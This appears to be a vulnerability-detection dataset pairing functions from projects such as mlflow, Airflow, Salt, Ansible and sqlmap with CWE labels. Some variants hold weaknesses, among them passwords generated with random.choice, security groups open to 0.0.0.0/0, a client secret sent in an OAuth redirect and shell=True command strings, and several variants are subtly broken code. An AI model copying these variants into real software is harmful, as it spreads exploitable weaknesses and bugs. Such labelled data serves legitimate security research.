rms, _ = self._search_registered_models(""name iLike '%%'"")
assert rms == names
rms, _ = self._search_registered_models(""name ilike '%RM4a%'"")
assert rms == names[4:]
# cannot search by invalid comparator types
with pytest.raises(
MlflowException,
match=""Parameter value is either not quoted or unidentified quote types used for ""
""string value something"",
) as exception_context:
self._search_registered_models(""name!=something"")
assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
# cannot search by run_id
with pytest.raises(
MlflowException, match=r""Invalid attribute key 'run_id' specified.""
) as exception_context:
self._search_registered_models(""run_id='%s'"" % ""somerunID"")
assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
# cannot search by source_path
with pytest.raises(
MlflowException, match=r""Invalid attribute key 'source_path' specified.""
) as exception_context:
self._search_registered_models(""source_path = 'A/D'"")
assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
# cannot search by other params
with pytest.raises(
MlflowException, match=r""Invalid clause\(s\) in filter string""
) as exception_context:
self._search_registered_models(""evilhax = true"")
assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
# delete last registered model. search should not return the first 5
self.store.delete_registered_model(name=names[-1])
assert self._search_registered_models(None, max_results=1000) == (names[:-1], None)
# equality search using name should return no names
assert self._search_registered_models(""name='{}'"".format(names[-1])) == ([], None)
# case-sensitive prefix search using LIKE should return all the RMs
assert self._search_registered_models(f""name LIKE '{prefix}%'"") == (
names[0:5],
None,
)
# case-insensitive prefix search using ILIKE should return both rm5 and rm6
assert self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""RM4A"")) == (
[names[4]],
None,
)",CWE-703,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def test_search_registered_models(self):
# create some registered models
prefix = ""test_for_search_""
names = [prefix + name for name in [""RM1"", ""RM2"", ""RM3"", ""RM4"", ""RM4A"", ""RM4ab""]]
for name in names:
self._rm_maker(name)
# search with no filter should return all registered models
rms, _ = self._search_registered_models(None)
assert rms == names
# equality search using name should return exactly the 1 name
rms, _ = self._search_registered_models(""name='{}'"".format(names[0]))
assert rms == [names[0]]
# equality search using name that is not valid should return nothing
rms, _ = self._search_registered_models(""name='{}'"".format(names[0] + ""cats""))
assert rms == []
# case-sensitive prefix search using LIKE should return all the RMs
rms, _ = self._search_registered_models(""name LIKE '{}%'"".format(prefix))
assert rms == names
# case-sensitive prefix search using LIKE with surrounding % should return all the RMs
rms, _ = self._search_registered_models(""name LIKE '%RM%'"")
assert rms == names
# case-sensitive prefix search using LIKE with surrounding % should return all the RMs
# _e% matches test_for_search_ , so all RMs should match
rms, _ = self._search_registered_models(""name LIKE '_e%'"")
assert rms == names
# case-sensitive prefix search using LIKE should return just rm4
rms, _ = self._search_registered_models(""name LIKE '{}%'"".format(prefix + ""RM4A""))
assert rms == [names[4]]
# case-sensitive prefix search using LIKE should return no models if no match
rms, _ = self._search_registered_models(""name LIKE '{}%'"".format(prefix + ""cats""))
assert rms == []
# confirm that LIKE is not case-sensitive
rms, _ = self._search_registered_models(""name lIkE '%blah%'"")
assert rms == []
rms, _ = self._search_registered_models(""name like '{}%'"".format(prefix + ""RM4A""))
assert rms == [names[4]]
# case-insensitive prefix search using ILIKE should return both rm5 and rm6
rms, _ = self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""RM4A""))
assert rms == names[4:]
# case-insensitive postfix search with ILIKE
rms, _ = self._search_registered_models(""name ILIKE '%RM4a%'"")
assert rms == names[4:]
# case-insensitive prefix search using ILIKE should return both rm5 and rm6
rms, _ = self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""cats""))
assert rms == []
# confirm that ILIKE is not case-sensitive
rms, _ = self._search_registered_models(""name iLike '%blah%'"")
assert rms == []
# confirm that ILIKE works for empty query
rms, _ = self._search_registered_models(""name iLike '%%'"")
assert rms == names
rms, _ = self._search_registered_models(""name ilike '%RM4a%'"")
assert rms == names[4:]
# cannot search by invalid comparator types
with pytest.raises(
MlflowException,
match=""Parameter value is either not quoted or unidentified quote types used for ""
""string value something"",
) as exception_context:
self._search_registered_models(""name!=something"")
assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
# cannot search by run_id
with pytest.raises(
MlflowException, match=r""Invalid attribute key 'run_id' specified.""
) as exception_context:
self._search_registered_models(""run_id='%s'"" % ""somerunID"")
assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
# cannot search by source_path
with pytest.raises(
MlflowException, match=r""Invalid attribute key 'source_path' specified.""
) as exception_context:
self._search_registered_models(""source_path = 'A/D'"")
assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
# cannot search by other params
with pytest.raises(
MlflowException, match=r""Invalid clause\(s\) in filter string""
) as exception_context:
self._search_registered_models(""evilhax = true"")
assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
# delete last registered model. search should not return the first 5
self.store.delete_registered_model(name=names[-1])
assert self._search_registered_models(None, max_results=1000) == (names[:-1], None)
# equality search using name should return no names
assert self._search_registered_models(""name='{}'"".format(names[-1])) == ([], None)
# case-sensitive prefix search using LIKE should return all the RMs
assert self._search_registered_models(""name LIKE '{}%'"".format(prefix)) == (
names[0:5],
None,
)
# case-insensitive prefix search using ILIKE should return both rm5 and rm6
assert self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""RM4A"")) == (
[names[4]],
None,
)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/migrations/state.py,0,"def __init__(self, app_label, name, fields, options=None, bases=None):
self.app_label = app_label
self.name = force_text(name)
self.fields = fields
self.options = options or {}
self.bases = bases or (models.Model, )
# Sanity-check that fields is NOT a dict. It must be ordered.
if isinstance(self.fields, dict):
raise ValueError(""ModelState.fields cannot be a dict - it must be a list of 2-tuples."")
# Sanity-check that fields are NOT already bound to a model.
for name, field in fields:
if hasattr(field, 'model'):
raise ValueError(
'ModelState.fields cannot be bound to a model - ""%s"" is.' % name
)",CWE-Unknown,django/django,7a38f889222dfbdf0e0d8d22001c30264d420054,"def __init__(self, app_label, name, fields, options=None, bases=None):
self.app_label = app_label
self.name = force_text(name)
self.fields = fields
self.options = options or {}
self.bases = bases or (models.Model, )
# Sanity-check that fields is NOT a dict. It must be ordered.
if isinstance(self.fields, dict):
raise ValueError(""ModelState.fields cannot be a dict - it must be a list of 2-tuples."")"
,UNKNOWN,UNKNOWN,tests/unit/grains/test_core.py,1,"def test_dns_return(self):
'''
test the return for a dns grain. test for issue:
https://github.com/saltstack/salt/issues/41230
'''
resolv_mock = {'domain': '', 'sortlist': [], 'nameservers':
[ipaddress.IPv4Address(IP4_ADD1),
ipaddress.IPv6Address(IP6_ADD1),
IP6_ADD_SCOPE], 'ip4_nameservers':
[ipaddress.IPv4Address(IP4_ADD1)],
'search': ['test.saltstack.com'], 'ip6_nameservers':
[ipaddress.IPv6Address(IP6_ADD1),
IP6_ADD_SCOPE], 'options': []}
ret = {'dns': {'domain': '', 'sortlist': [], 'nameservers':
[IP4_ADD1, IP6_ADD1,
IP6_ADD_SCOPE], 'ip4_nameservers':
[IP4_ADD1], 'search': ['test.saltstack.com'],
'ip6_nameservers': [IP6_ADD1, IP6_ADD_SCOPE],
'options': []}}
with patch.object(salt.utils.dns, 'parse_resolv', MagicMock(return_value=resolv_mock)):
assert core.dns() == ret",CWE-703,saltstack/salt,67e45ecd23af791258386781f3357483d71b92b6,"def test_dns_return(self):
'''
test the return for a dns grain. test for issue:
https://github.com/saltstack/salt/issues/41230
'''
resolv_mock = {'domain': '', 'sortlist': [], 'nameservers':
[ipaddress.IPv4Address(IP4_ADD1),
ipaddress.IPv6Address(IP6_ADD1),
IP6_ADD_SCOPE], 'ip4_nameservers':
[ipaddress.IPv4Address(IP4_ADD1)],
'search': ['test.saltstack.com'], 'ip6_nameservers':
[ipaddress.IPv6Address(IP6_ADD1),
IP6_ADD_SCOPE], 'options': []}
ret = {'dns': {'domain': '', 'sortlist': [], 'nameservers':
[IP4_ADD1, IP6_ADD1,
IP6_ADD_SCOPE], 'ip4_nameservers':
[IP4_ADD1], 'search': ['test.saltstack.com'],
'ip6_nameservers': [IP6_ADD1, IP6_ADD_SCOPE],
'options': []}}
with patch.object(salt.utils.dns, 'parse_resolv', MagicMock(return_value=resolv_mock)):
assert core.dns() == ret"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/template/defaultfilters.py,0,"def escape_filter(value):
""""""Mark the value as a string that should be auto-escaped.""""""
return conditional_escape(value)",CWE-Unknown,django/django,061a8a1bd818ca2c8a6493f33cae2379e34e181f,"def escape_filter(value):
""""""Mark the value as a string that should be auto-escaped.""""""
return conditional_escape(value)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/dellos10/dellos10_config.py,0,"def main():
argument_spec = dict(
lines=dict(aliases=['commands'], type='list'),
parents=dict(type='list'),
src=dict(type='path'),
before=dict(type='list'),
after=dict(type='list'),
match=dict(default='line',
choices=['line', 'strict', 'exact', 'none']),
replace=dict(default='line', choices=['line', 'block']),
update=dict(choices=['merge', 'check'], default='merge'),
save=dict(type='bool', default=False),
config=dict(),
backup=dict(type='bool', default=False)
)
argument_spec.update(dellos10_argument_spec)
mutually_exclusive = [('lines', 'src')]
module = AnsibleModule(argument_spec=argument_spec,
mutually_exclusive=mutually_exclusive,
supports_check_mode=True)
parents = module.params['parents'] or list()
match = module.params['match']
replace = module.params['replace']
warnings = list()
check_args(module, warnings)
result = dict(changed=False, saved=False, warnings=warnings)
if module.params['backup']:
if not module.check_mode:
result['__backup__'] = get_config(module)
commands = list()
candidate = get_candidate(module)
if any((module.params['lines'], module.params['src'])):
if match != 'none':
config = get_running_config(module)
if parents:
contents = get_sublevel_config(config, module)
config = NetworkConfig(contents=contents, indent=1)
else:
config = NetworkConfig(contents=config, indent=1)
configobjs = candidate.difference(config, match=match, replace=replace)
else:
configobjs = candidate.items
if configobjs:
commands = dumps(configobjs, 'commands')
if ((isinstance((module.params['lines']), list)) and
(isinstance((module.params['lines'][0]), dict)) and
(set(['prompt', 'answer']).issubset(module.params['lines'][0]))):
cmd = {'command': commands,
'prompt': module.params['lines'][0]['prompt'],
'answer': module.params['lines'][0]['answer']}
commands = [module.jsonify(cmd)]
else:
commands = commands.split('\n')
if module.params['before']:
commands[:0] = module.params['before']
if module.params['after']:
commands.extend(module.params['after'])
if not module.check_mode and module.params['update'] == 'merge':
load_config(module, commands)
result['changed'] = True
result['commands'] = commands
result['updates'] = commands
if module.params['save']:
result['changed'] = True
if not module.check_mode:
cmd = {r'command': 'copy running-config startup-config',
r'prompt': r'\[confirm yes/no\]:\s?$', 'answer': 'yes'}
run_commands(module, [cmd])
result['saved'] = True
else:
module.warn('Skipping command `copy running-config startup-config`'
'due to check_mode. Configuration not copied to '
'non-volatile storage')
module.exit_json(**result)",,ansible/ansible,ae45488ba22581e39b5e97f4212c784a712c1042,"def main():
argument_spec = dict(
lines=dict(aliases=['commands'], type='list'),
parents=dict(type='list'),
src=dict(type='path'),
before=dict(type='list'),
after=dict(type='list'),
match=dict(default='line',
choices=['line', 'strict', 'exact', 'none']),
replace=dict(default='line', choices=['line', 'block']),
update=dict(choices=['merge', 'check'], default='merge'),
save=dict(type='bool', default=False),
config=dict(),
backup=dict(type='bool', default=False)
)
argument_spec.update(dellos10_argument_spec)
mutually_exclusive = [('lines', 'src')]
module = AnsibleModule(argument_spec=argument_spec,
mutually_exclusive=mutually_exclusive,
supports_check_mode=True)
parents = module.params['parents'] or list()
match = module.params['match']
replace = module.params['replace']
warnings = list()
check_args(module, warnings)
result = dict(changed=False, saved=False, warnings=warnings)
if module.params['backup']:
if not module.check_mode:
result['__backup__'] = get_config(module)
commands = list()
candidate = get_candidate(module)
if any((module.params['lines'], module.params['src'])):
if match != 'none':
config = get_running_config(module)
if parents:
contents = get_sublevel_config(config, module)
config = NetworkConfig(contents=contents, indent=1)
else:
config = NetworkConfig(contents=config, indent=1)
configobjs = candidate.difference(config, match=match, replace=replace)
else:
configobjs = candidate.items
if configobjs:
commands = dumps(configobjs, 'commands')
if ((isinstance((module.params['lines']), list)) and
(isinstance((module.params['lines'][0]), dict)) and
(['prompt', 'answer'].issubset(module.params['lines'][0]))):
cmd = {'command': commands,
'prompt': module.params['lines'][0]['prompt'],
'answer': module.params['lines'][0]['answer']}
commands = [module.jsonify(cmd)]
else:
commands = commands.split('\n')
if module.params['before']:
commands[:0] = module.params['before']
if module.params['after']:
commands.extend(module.params['after'])
if not module.check_mode and module.params['update'] == 'merge':
load_config(module, commands)
result['changed'] = True
result['commands'] = commands
result['updates'] = commands
if module.params['save']:
result['changed'] = True
if not module.check_mode:
cmd = {r'command': 'copy running-config startup-config',
r'prompt': r'\[confirm yes/no\]:\s?$', 'answer': 'yes'}
run_commands(module, [cmd])
result['saved'] = True
else:
module.warn('Skipping command `copy running-config startup-config`'
'due to check_mode. Configuration not copied to '
'non-volatile storage')
module.exit_json(**result)"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_boto_secgroup.py,1,"def test__split_rules(self):
""""""
tests the splitting of a list of rules into individual rules
""""""
rules = [
OrderedDict(
[
(""ip_protocol"", ""tcp""),
(""from_port"", 22),
(""to_port"", 22),
(""grants"", [OrderedDict([(""cidr_ip"", ""0.0.0.0/0"")])]),
]
),
OrderedDict(
[
(""ip_protocol"", ""tcp""),
(""from_port"", 80),
(""to_port"", 80),
(""grants"", [OrderedDict([(""cidr_ip"", ""0.0.0.0/0"")])]),
]
),
]
split_rules = [
{
""to_port"": 22,
""from_port"": 22,
""ip_protocol"": ""tcp"",
""cidr_ip"": ""0.0.0.0/0"",
},
{
""to_port"": 80,
""from_port"": 80,
""ip_protocol"": ""tcp"",
""cidr_ip"": ""0.0.0.0/0"",
},
]
self.assertEqual(boto_secgroup._split_rules(rules), split_rules)",CWE-605,saltstack/salt,dc21cfa6113fbdce20c0b621ab9ef8605aeb259a,"def test__split_rules(self):
""""""
tests the splitting of a list of rules into individual rules
""""""
rules = [
OrderedDict(
[
(""ip_protocol"", ""tcp""),
(""from_port"", 22),
(""to_port"", 22),
(""grants"", [OrderedDict([(""cidr_ip"", ""0.0.0.0/0"")])]),
]
),
OrderedDict(
[
(""ip_protocol"", ""tcp""),
(""from_port"", 80),
(""to_port"", 80),
(""grants"", [OrderedDict([(""cidr_ip"", ""0.0.0.0/0"")])]),
]
),
]
split_rules = [
{
""to_port"": 22,
""from_port"": 22,
""ip_protocol"": ""tcp"",
""cidr_ip"": ""0.0.0.0/0"",
},
{
""to_port"": 80,
""from_port"": 80,
""ip_protocol"": ""tcp"",
""cidr_ip"": ""0.0.0.0/0"",
},
]
self.assertEqual(boto_secgroup._split_rules(rules), split_rules)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,0,"def test_filters(self):
response = self.client.get(reverse(""django-admindocs-filters""))
# The builtin filter group exists
self.assertContains(response, ""
Built-in filters
"", count=2, html=True)
# A builtin filter exists in both the index and detail
self.assertContains(response, '
', html=True
)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_internal/util_common.py,0,"def __init__(self, args, command):
""""""
:type args: any
:type command: str
""""""
self.command = command
self.color = args.color # type: bool
self.explain = args.explain # type: bool
self.verbosity = args.verbosity # type: int
self.debug = args.debug # type: bool
self.truncate = args.truncate # type: int
self.redact = args.redact # type: bool
if is_shippable():
self.redact = True
self.cache = {}",,ansible/ansible,29ac0273d4f421a0919c1e7d7608b2d7fd7a35b4,"def __init__(self, args, command):
""""""
:type args: any
:type command: str
""""""
self.command = command
self.color = args.color # type: bool
self.explain = args.explain # type: bool
self.verbosity = args.verbosity # type: int
self.debug = args.debug # type: bool
self.truncate = args.truncate # type: int
self.redact = args.redact # type: bool
if is_shippable():
self.redact = True
self.cache = {}"
,UNKNOWN,UNKNOWN,tests/models/test_xcom_arg.py,1,"def test_xcom_arg_property_of_base_operator(self, dag_maker):
with dag_maker(""test_xcom_arg_property_of_base_operator""):
op_a = BashOperator(task_id=""a"", bash_command=""echo a"")
dag_maker.create_dagrun()
assert op_a.output == XComArg(op_a)",CWE-703,apache/airflow,1956f38276b982f7f0f72944d4fb8615ee55459f,"def test_xcom_arg_property_of_base_operator(self, dag_maker):
with dag_maker(""test_xcom_arg_property_of_base_operator""):
op_a = BashOperator(task_id=""a"", bash_command=""echo a"")
dag_maker.create_dagrun()
assert op_a.output == XComArg(op_a)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/dotdefender.py,0,"def detect(get_page):
retval = False
for vector in WAF_ATTACK_VECTORS:
page, headers, _ = get_page(get=vector)
retval = headers.get(""X-dotDefender-denied"", """") == ""1""
retval |= ""dotDefender Blocked Your Request"" in (page or """")
if retval:
break
return retval",,sqlmapproject/sqlmap,210b65c02d18c2519cb7833940fe054bfe3231bc,"def detect(get_page):
retval = False
for vector in WAF_ATTACK_VECTORS:
_, headers, _ = get_page(get=vector)
retVal = headers.get(""X-dotDefender-denied"", """") == ""1""
if retVal:
break
return retval"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/execution_api/versions/head/test_task_instances.py,1,"def test_ti_update_state_to_success_with_asset_events(
self, client, session, create_task_instance, task_outlets, outlet_events, expected_extra
):
asset = AssetModel(
id=1,
name=""my-task"",
uri=""s3://bucket/my-task"",
group=""asset"",
extra={},
)
asset_active = AssetActive.for_asset(asset)
session.add_all([asset, asset_active])
ti = create_task_instance(
task_id=""test_ti_update_state_to_success_with_asset_events"",
start_date=DEFAULT_START_DATE,
state=State.RUNNING,
)
session.commit()
response = client.patch(
f""/execution/task-instances/{ti.id}/state"",
json={
""state"": ""success"",
""end_date"": DEFAULT_END_DATE.isoformat(),
""task_outlets"": task_outlets,
""outlet_events"": outlet_events,
},
)
assert response.status_code == 204
assert response.text == """"
session.expire_all()
event = session.scalars(select(AssetEvent)).all()
assert len(event) == 1
assert event[0].asset == AssetModel(name=""my-task"", uri=""s3://bucket/my-task"", extra={})
assert event[0].extra == expected_extra",CWE-703,apache/airflow,6879c3ec472d9a8dae18b4767aecd3db2281819f,"def test_ti_update_state_to_success_with_asset_events(
self, client, session, create_task_instance, task_outlets, outlet_events, expected_extra
):
asset = AssetModel(
id=1,
name=""my-task"",
uri=""s3://bucket/my-task"",
group=""asset"",
extra={},
)
asset_active = AssetActive.for_asset(asset)
session.add_all([asset, asset_active])
ti = create_task_instance(
task_id=""test_ti_update_state_to_success_with_asset_events"",
start_date=DEFAULT_START_DATE,
state=State.RUNNING,
)
session.commit()
response = client.patch(
f""/execution/task-instances/{ti.id}/state"",
json={
""state"": ""success"",
""end_date"": DEFAULT_END_DATE.isoformat(),
""task_outlets"": task_outlets,
""outlet_events"": outlet_events,
},
)
assert response.status_code == 204
assert response.text == """"
session.expire_all()
event = session.scalars(select(AssetEvent)).all()
assert len(event) == 1
assert event[0].asset == AssetModel(name=""my-task"", uri=""s3://bucket/my-task"", extra={})
assert event[0].extra == expected_extra"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/file/test_directory.py,1,"def test_directory_backupname_force_test_mode_noclobber(
file, tmp_path, backupname_isfile
):
""""""
Ensure that file.directory does not make changes when backupname is used
alongside force=True and test=True.
See https://github.com/saltstack/salt/issues/66049
""""""
source_dir = tmp_path / ""source_directory""
source_dir.mkdir()
dest_dir = tmp_path / ""dest_directory""
backupname = tmp_path / ""backup_dir""
dest_dir.symlink_to(source_dir.resolve())
if backupname_isfile:
backupname.touch()
assert backupname.is_file()
ret = file.directory(
name=str(dest_dir),
allow_symlink=False,
force=True,
backupname=str(backupname),
test=True,
)
# Confirm None result
assert ret.result is None
try:
# Confirm dest_dir not modified
assert salt.utils.path.readlink(str(dest_dir)) == str(source_dir)
except OSError:
pytest.fail(f""{dest_dir} was modified"")
# Confirm that comment and changes match what we expect
assert (
ret.comment
== f""{dest_dir} would be backed up and replaced with a new directory""
)
assert ret.changes[str(dest_dir)] == {""directory"": ""new""}
assert ret.changes[""backup""] == f""{dest_dir} would be renamed to {backupname}""
if backupname_isfile:
assert ret.changes[""forced""] == (
f""Existing file at backup path {backupname} would be removed""
)
else:
assert ""forced"" not in ret.changes",CWE-703,saltstack/salt,0105aecd961e1e2c89785df70d5075d0f16f6810,"def test_directory_backupname_force_test_mode_noclobber(
file, tmp_path, backupname_isfile
):
""""""
Ensure that file.directory does not make changes when backupname is used
alongside force=True and test=True.
See https://github.com/saltstack/salt/issues/66049
""""""
source_dir = tmp_path / ""source_directory""
dest_dir = tmp_path / ""dest_directory""
backupname = tmp_path / ""backup_dir""
source_dir.mkdir()
dest_dir.symlink_to(source_dir.resolve())
if backupname_isfile:
backupname.touch()
assert backupname.is_file()
ret = file.directory(
name=str(dest_dir),
allow_symlink=False,
force=True,
backupname=str(backupname),
test=True,
)
# Confirm None result
assert ret.result is None
try:
# Confirm dest_dir not modified
assert dest_dir.readlink() == source_dir
except OSError:
pytest.fail(f""{dest_dir} was modified"")
# Confirm that comment and changes match what we expect
assert (
ret.comment
== f""{dest_dir} would be backed up and replaced with a new directory""
)
assert ret.changes[str(dest_dir)] == {""directory"": ""new""}
assert ret.changes[""backup""] == f""{dest_dir} would be renamed to {backupname}""
if backupname_isfile:
assert ret.changes[""forced""] == (
f""Existing file at backup path {backupname} would be removed""
)
else:
assert ""forced"" not in ret.changes"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/notebookapp.py,0,"def init_mime_overrides(self):
# On some Windows machines, an application has registered an incorrect
# mimetype for CSS and JavaScript in the registry.
# Tornado uses this when serving .css and .js files, causing browsers to
# reject these files. We know the mimetype always needs to be text/css for css
# and application/javascript for JS, so we override it here.
mimetypes.add_type('text/css', '.css')
mimetypes.add_type('application/javascript', '.js')",,jupyter/notebook,d8730ced00132b1cdd4434f5e642a91acba6372a,"def init_mime_overrides(self):
# On some Windows machines, an application has registered an incorrect
# mimetype for CSS and JavaScript in the registry.
# Tornado uses this when serving .css files, causing browsers to reject the stylesheet.
# We know the mimetype always needs to be text/css for css
# and application/javascript for JS, so we override it here.
mimetypes.add_type('text/css', '.css')
mimetypes.add_type('application/javascript', '.js')"
,UNKNOWN,UNKNOWN,airflow/bin/cli.py,1,"def create_user(args):
fields = {
'role': args.role,
'username': args.username,
'email': args.email,
'firstname': args.firstname,
'lastname': args.lastname,
}
empty_fields = [k for k, v in fields.items() if not v]
if empty_fields:
raise SystemExit('Required arguments are missing: {}.'.format(
', '.join(empty_fields)))
appbuilder = cached_appbuilder()
role = appbuilder.sm.find_role(args.role)
if not role:
raise SystemExit('{} is not a valid role.'.format(args.role))
if args.use_random_password:
password = ''.join(random.choice(string.printable) for _ in range(16))
elif args.password:
password = args.password
else:
password = getpass.getpass('Password:')
password_confirmation = getpass.getpass('Repeat for confirmation:')
if password != password_confirmation:
raise SystemExit('Passwords did not match!')
if appbuilder.sm.find_user(args.username):
print('{} already exist in the db'.format(args.username))
return
user = appbuilder.sm.add_user(args.username, args.firstname, args.lastname,
args.email, role, password)
if user:
print('{} user {} created.'.format(args.role, args.username))
else:
raise SystemExit('Failed to create user.')",CWE-330,apache/airflow,f3f2eb323f29d2210877ce9699e2dd0bdd8b5259,"def create_user(args):
fields = {
'role': args.role,
'username': args.username,
'email': args.email,
'firstname': args.firstname,
'lastname': args.lastname,
}
empty_fields = [k for k, v in fields.items() if not v]
if empty_fields:
raise SystemExit('Required arguments are missing: {}.'.format(
', '.join(empty_fields)))
appbuilder = cached_appbuilder()
role = appbuilder.sm.find_role(args.role)
if not role:
raise SystemExit('{} is not a valid role.'.format(args.role))
if args.use_random_password:
password = ''.join(random.choice(string.printable) for _ in range(16))
elif args.password:
password = args.password
else:
password = getpass.getpass('Password:')
password_confirmation = getpass.getpass('Repeat for confirmation:')
if password != password_confirmation:
raise SystemExit('Passwords did not match!')
user = appbuilder.sm.add_user(args.username, args.firstname, args.lastname,
args.email, role, password)
if user:
print('{} user {} created.'.format(args.role, args.username))
else:
raise SystemExit('Failed to create user.')"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/auth_test.py,0,"def get(self):
code = self.get_argument(""code"", None)
if code is not None:
# retrieve authenticate google user
access = yield self.get_authenticated_user(self._OAUTH_REDIRECT_URI, code)
user = yield self.oauth2_request(
self.test.get_url(""/google/oauth2/userinfo""),
access_token=access[""access_token""],
)
# return the user and access token as json
user[""access_token""] = access[""access_token""]
self.write(user)
else:
self.authorize_redirect(
redirect_uri=self._OAUTH_REDIRECT_URI,
client_id=self.settings[""google_oauth""][""key""],
scope=[""profile"", ""email""],
response_type=""code"",
extra_params={""prompt"": ""select_account""},
)",CWE-Unknown,tornadoweb/tornado,34673bf6d4bdf9451722842638a16c221d2c4dc1,"def get(self):
code = self.get_argument(""code"", None)
if code is not None:
# retrieve authenticate google user
access = yield self.get_authenticated_user(self._OAUTH_REDIRECT_URI, code)
user = yield self.oauth2_request(
self.test.get_url(""/google/oauth2/userinfo""),
access_token=access[""access_token""],
)
# return the user and access token as json
user[""access_token""] = access[""access_token""]
self.write(user)
else:
self.authorize_redirect(
redirect_uri=self._OAUTH_REDIRECT_URI,
client_id=self.settings[""google_oauth""][""key""],
client_secret=self.settings[""google_oauth""][""secret""],
scope=[""profile"", ""email""],
response_type=""code"",
extra_params={""prompt"": ""select_account""},
)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def npm_install(cwd):
""""""Run npm install in a directory and dedupe if necessary""""""
try:
run(['npm', 'install', '--progress=false'], cwd=cwd)
except OSError as e:
print(""Failed to run `npm install`: %s"" % e, file=sys.stderr)
print(""npm is required to build a development version of the notebook."", file=sys.stderr)
raise
shell = (sys.platform == 'win32')
version = check_output(['npm', '--version'], shell=shell).decode('utf-8')
if LooseVersion(version) < LooseVersion('3.0'):
try:
run(['npm', 'dedupe'], cwd=cwd)
except Exception as e:
print(""Failed to run `npm dedupe`: %s"" % e, file=sys.stderr)
print(""Please install npm v3+ to build a development version of the notebook."")
raise",,jupyter/notebook,c2723c79962631f8ac7a79249441b24f56dccef9,"def npm_install(cwd):
""""""Run npm install in a directory and dedupe if necessary""""""
try:
run(['npm', 'install', '--progress=false'], cwd=cwd)
except OSError as e:
print(""Failed to run `npm install`: %s"" % e, file=sys.stderr)
print(""npm is required to build a development version of the notebook."", file=sys.stderr)
raise
shell = (sys.platform == 'win32')
version = check_output('npm --version', shell=shell).decode('utf-8')
if LooseVersion(version) < LooseVersion('3.0'):
try:
run(['npm', 'dedupe'], cwd=cwd)
except Exception as e:
print(""Failed to run `npm dedupe`: %s"" % e, file=sys.stderr)
print(""Please install npm v3+ to build a development version of the notebook."")
raise"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/entries.py,0,"def dumpTable(self, foundData=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = ""missing database parameter. sqlmap is going ""
warnMsg += ""to use the current database to enumerate ""
warnMsg += ""table(s) entries""
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = ""only one database name is allowed when enumerating ""
errMsg += ""the tables' columns""
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.exclude and conf.db in conf.exclude.split(','):
infoMsg = ""skipping database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
singleTimeLogMessage(infoMsg)
return
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(',')
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = list(kb.data.cachedTables.values())
if isListLike(tblList[0]):
tblList = tblList[0]
elif not conf.search:
errMsg = ""unable to retrieve the tables ""
errMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
raise SqlmapNoneDataException(errMsg)
else:
return
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
for tbl in tblList:
if kb.dumpKeyboardInterrupt:
break
if conf.exclude and tbl in conf.exclude.split(','):
infoMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
singleTimeLogMessage(infoMsg)
continue
conf.tbl = tbl
kb.data.dumpedTable = {}
if foundData is None:
kb.data.cachedColumns = {}
self.getColumns(onlyColNames=True, dumpMode=True)
else:
kb.data.cachedColumns = foundData
try:
if Backend.isDbms(DBMS.INFORMIX):
kb.dumpTable = ""%s:%s"" % (conf.db, tbl)
else:
kb.dumpTable = ""%s.%s"" % (conf.db, tbl)
if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
warnMsg = ""unable to enumerate the columns for table ""
warnMsg += ""'%s' in database"" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += "", skipping"" if len(tblList) > 1 else """"
logger.warn(warnMsg)
continue
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
colList = sorted(column for column in columns if column)
if conf.exclude:
